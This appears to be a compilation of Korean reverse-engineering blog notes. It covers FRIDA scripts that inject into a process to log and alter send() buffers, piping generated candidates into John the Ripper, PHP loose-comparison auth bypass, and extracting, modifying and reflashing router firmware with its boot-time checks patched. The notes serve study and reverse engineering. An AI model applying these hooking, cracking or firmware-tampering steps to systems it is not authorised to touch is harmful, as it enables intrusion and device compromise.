또한, 컴파일이 필요없는 스크립트 언어로 작성이 가능하다는 것도 매력적이다. 코드 수정이 빈번한 경우 매번 컴파일을 하는 것만큼 귀찮은 것은 없기 때문이다.    

 ETC(DinamoRIO, Valgrind, DynInst 등)

아직 해보지 않아서 잘 모름. Valgrind 의 경우 실제로 취약점을 꽤 많이 찾아준 것으로 알고 있다.

DBI 예제 (with FRIDA)

FRIDA 기본 원리

FRIDA 는 C/S 의 구조를 지원하기 위해 윈도우의 경우 DLL 인젝션을, *닉스 계열의 경우 라이브러리 인젝션을 수행한다. 그 후 API 후킹(주소값만 지정하면 유저 custom 함수도 가능), stalking(이벤트 기반) 기능 등을 이용하여 DBI 가 가능하다. 이때, 실제 DBI 를 수행하는 코드는 자바스크립트를 이용하여 작성해 주어야 한다.

FRIDA 설치

c:\> pip install frida      // pip 는 python 모듈 관리를 위한 프로그램이며 이를 이용하여 쉽게 설치가 가능함

FRIDA 참고 자료 및 API

http://www.frida.re/docs/javascript-api        // 아직 관련 자료가 많지 않아 공식 문서를 보는 것이 가장 좋다.

https://github.com/OALabs/frida-extract      // frida 를 이용한 PE Extract 코드 (악성코드 등에서 PE 파일 추출) 

FRIDA 예제 코드

 아래 코드는 DBI 에 대한 개념이해를 위해 직접 발로 짠 코드이다. 간단하게 socket 관련 함수인 send() 함수를 후킹하여 버퍼를 기록하고, send() 함수를 호출한 코드 주소값들(BackTrace) 을 기록해주는 코드이다.

import sys
import pefile
import frida

def on_message(message, data):                 
    # c/s 구조인 경우 메시지를 보낼 수 있다. 메시지를 처리할 핸들러를 여기에 작성
    print "[%s] -> %s" % (message, data)

def main(target_process):
    session = frida.attach(target_process)       # attach => target 에 DLL 인젝션 수행
    script = session.create_script("""           # 자바스크립트 로드(실질적인 DBI 코드)

    var sendPtr = Module.findExportByName("ws2_32.dll", "send");        # send 함수 주소
    console.log('send address: ' + sendPtr.toString());
    console.log('>> Hooking ws2_32!send <<');
    Interceptor.attach(sendPtr, {               # send 함수에 후킹 설정(inline hooking 수행)
        onEnter: function (args) {              # 함수 실행 전 수행될 코드(인자값 기록, 변조 등 가능)
            console.log("buf : " + Memory.readCString(args[1]));    # 메모리에서 직접 read
            console.log("send called from:" + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\\n") + " ");
        },
        onLeave: function (retval) {         # 함수 실행 후 수행될 코드(리턴값 기록, 조작 등 가능)
        }
    });
""") 
 
    script.on('message', on_message)       # 메시지 핸들러 설정
    script.load()                       
    raw_input('\n\n')
    session.detach()
 
if __name__ == '__main__':
    target_process = 'test.exe'
    main(target_process) 

 실행

FRIDA 예제 코드2 

이번에는 인자값 조작을 해 보자. send 로 전송되는 패킷 내용을 변조하는 코드이다. 위 코드와 거의 동일하며 함수 실행 전 인자값으로 넘어온 buffer 문자열을 조작한다.

import sys
import pefile
import frida

def on_message(message, data):
    print "[%s] -> %s" % (message, data)

def main(target_process):
    session = frida.attach(target_process)
    script = session.create_script("""

    var sendPtr = Module.findExportByName("ws2_32.dll", "send");
    console.log('send address: ' + sendPtr.toString());
    console.log('>> Hooking ws2_32!send <<');

    Interceptor.attach(sendPtr, {
        onEnter: function (args) {
            console.log("buf : " + Memory.readCString(args[1]));
            Memory.writeAnsiString(args[1],"HTTP/1.1 200 OK\\nServer: simple web server\\nContent-Type: text/html\\n\\nWelcome To My testServer !!                                         ");
            console.log("replaced buf : " + Memory.readCString(args[1]));            
        },
        onLeave: function (retval) {
        }
    });

""") 
 
    script.on('message', on_message)
    script.load()
    raw_input('\n\n')
    session.detach()
 
if __name__ == '__main__':
    target_process = 'vul_http_server.exe'
    main(target_process)

실행

kali 새 버전을 다운로드 했더니 한글도 안보이고 apt-get 도 안된다. 

물론 검색하니 금방 해결... 간단하게 정리

한글 문제 해결

• 한글 글꼴이 포함되어 있지 않아 발생하는 문제.

 # apt-get install fonts-nanum*    // 나눔고딕 등 한글 폰트 설치

  해결!

apt-get 에러 발생 해결 방법

apt-get 명령은 파일들이 저장된 저장소( repo ) 가 필요한데 설치시 기본 설정된 기본 repo 가 자주 죽는다. -_-;; 그냥 외부 미러 사이트로 연결하면 잘 된다.

# vi /etc/apt/sources.list

deb http://mirror.nus.edu.sg/kali/kali kali-rolling main contrib non-free

# apt-get update         // 잘된다.

# apt-get install xxx    // 잘된다.

jquery 가 많이 사용되고 있는데, 이러한 경우 버튼 실행 시 실제로 수행되는 코드를 찾는 게 간혹 귀찮은 경우가 있다.

난독화가 되어 있다거나, 객체를 여러번 호출하는 경우 등..

이런 경우 아래와 같이 자바스크립트를 이용하면 쉽게 메소드 확인이 가능하다.

메소드명만 확인해도 어느정도 기능을 알 수 있기 때문에 도움이 된다.

또한 함수는 toString() 메소드를 이용하면 코드 내용까지 확인할 수 있다.

console.log(Object.getOwnPropertyNames(scard.storage));

-------------------------

set,get,remove,clearAll

console.log(scard.storage.get.toString())

--------------------------

function(g, h) {

    if (g == null || typeof g === "undefined") {

        scard.log.debug("[scard.storage] key가 올바르지 않습니다.")

    }

    if (e) {

        if (typeof h === "object") {

            e["obj_" + g] = encodeURIComponent(JSON.stringify(h));

            e.removeItem("nob_" + g)

        } else {

            e["nob_" + g] = encodeURIComponent(h);

            e.removeItem("obj_" + g)

        }

    } else {

        scard.log.debug("[scard.storage] 스토리지에 저장된 값이 없습니다.");

        return

    }

}

이를 이용하면 for 문을 써서 적당히 함수 하나 만들어서 객체의 메소드와 변수, 함수 코드 등을 출력할 수 있을 듯 하다.

python 을 이용하면 쉽게 랜덤한 값을 생성하여 brutefocing  에 활용할 수 있다.

예제 소스

hyunmini$ python crack.py | head -15

testa

testb

testc

testd

teste

testf

testg

testh

testi

testj

testk

testl

testm

testn

  ...

# python crack.py | john -stdin pwd

php 에는 "==" 을 이용한 느슨한 비교와 "===" 를 이용한 엄격한 비교가 있다. "==" 의 경우 타입에 따라 "같다" 라는 기준을 모호하게 적용하고 있기 때문에

이로 인해 취약점이 발생하기도 한다. 자세한 것은 아래 표를 참고하자.

http://php.net/manual/kr/types.comparisons.php

 예를 들어 비밀번호 비교 구문 등에서 "==" 를 사용하면 "패스워드"=0 등과 같이 우회될 수도 있다는 것.

# 펌웨어 획득

- 벤더 홈페이지 다운

- 플래시메모리 덤프

# 펌웨어 분석 툴

- binwalk 

root@kali:~/Desktop# binwalk -h

1) 펌웨어 시그니처 분석

root@kali:~/Desktop# binwalk n604s_kr_9_942.bin

DECIMAL   HEX       DESCRIPTION

-------------------------------------------------------------------------------------------------------------------

46692     0xB664     LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 209044 bytes

131072     0x20000   TRX firmware header, little endian, header size: 28 bytes, image size: 3788800 bytes, CRC32: 0x75B1E9D4 flags: 0x0, version: 1

131100     0x2001C   LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4378624 bytes

1565732   0x17E424   CramFS filesystem, little endian size 2351104 version #2 sorted_dirs CRC 0x9ee064f0, edition 0, 1954 blocks, 376 files

2) 펌웨어 아키텍쳐 분석

root@kali:~/Desktop# binwalk -A n604s_kr_9_942.bin  | head -10

DECIMAL   HEX       DESCRIPTION

-------------------------------------------------------------------------------------------------------------------

9280       0x2440     MIPSEL instructions, function epilogue

9376       0x24A0     MIPSEL instructions, function epilogue

9992       0x2708     MIPSEL instructions, function prologue

10028     0x272C     MIPSEL instructions, function epilogue

10276     0x2824     MIPSEL instructions, function prologue

10280     0x2828     MIPSEL instructions, function epilogue

10288     0x2830     MIPSEL instructions, function prologue

3) 펌웨어 엔트로피 분석

root@kali:~/Desktop# binwalk -E n604s_kr_9_942.bin 

4) 펌웨어 파일시스템 추출 

root@kali:~/Desktop# dd if=./n604s_kr_8_96.bin of=n604s_fs.bin bs=1 skip=1565732

2124820+0 records in

2124820+0 records out

2124820 bytes (2.1 MB) copied, 2.60455 s, 816 kB/s

root@kali:~/Desktop# file n604s_fs.bin

n604s_fs.bin: Linux Compressed ROM File System data, little endian size 2121728 version #2 sorted_dirs CRC 0x9094e641, edition 0, 1646 blocks, 353 files

5) 펌웨어 파일시스템 마운트

root@kali:~/Desktop# mkdir /n604fs

root@kali:~/Desktop# mount -t cramfs ./n604s_fs.bin /n604fs/

mount: warning: /n604fs/ seems to be mounted read-only.

root@kali:~/Desktop# cd /n604fs/

root@kali:/n604fs# ls

bin  cramfs  default  dev  etc  home  lib  linuxrc  ndbin  plugin  proc  save  sbin  tmp  usr  var

6) 파일시스템 분석 후 fmk 를 이용하여 바이너리 수정/파일시스템 추가 등 조작 후 build 

7) 만들어진 new-firmware.bin 이미지를 업데이트(관리자 페이지 수동 업데이트)

8) 간혹 업데이트 시 에러가 발생하는 경우 부트코드에서 검증을 수행하는 것

 - 간단한 체크섬 (우회 쉬움)

 - 암호화 (우회 어려움)

** 맥에서 바로 UART 시리얼 통신 확인하기

     # screen  /dev/tty.usbmodemfa2321 115200

# 부트코드 리버싱

=====================

- 펌웨어에서 부트코드 분리 

  # dd if=~~  of=~~  skip=~~  count=~~ bs=1

- 부트코드 아키텍쳐, load address, size 지정

  => file 명령, binwalk 결과값 이용

- load address 찾는 법

  => 부트코드이므로 bss 섹션 초기화 과정이 있을 것 

       => li(or la), $0x80001000  등의 코드가 2번 연속으로 나오고 move $a1, $zero 루프 등으로 초기화 하는 부분을 찾음

  => 부트코드 |  bss 섹션       과 같은 구조이므로 bss 섹션 시작주소에서 부트코드 사이즈를 빼 주면 시작주소가 나옴

      => bss 섹션 시작주소 - 부트코드 사이즈 = 부트코드 시작주소

- 부트중 펌웨어 해쉬값 검증 코드 등을 찾아서 패치 

파일 시스템에는 다양한 종류가 있다. 리눅스 계열의 EXT, 윈도우 계열의 FAT, NTFS, 유닉스의 UFS 등 운영체제별로 다양하다.

이번 글에서는 FAT32 에 대하여 간단히 알아 보도록 하자.

• FAT32 특징 - File Allocation Table

• ㅇ

http://www.disk-editor.org/

(작성중)

분석시 유용한 명령어 추가 정리.

WinDBG 심볼 간편 설정

WinDBG 를 사용하는 경우 심볼 설정을 해 주어야 윈도우 관련 DLL 심볼을 보며 편하게 리버싱을 할 수 있다. 여러가지 방법이 있으나 매일

까먹어서 정리해 둔다.

• WinDBG 심볼 패스 설정하기

• 심볼 패스 쉽게 설정하기

• 심볼 패스 추가하기 

이상 끝!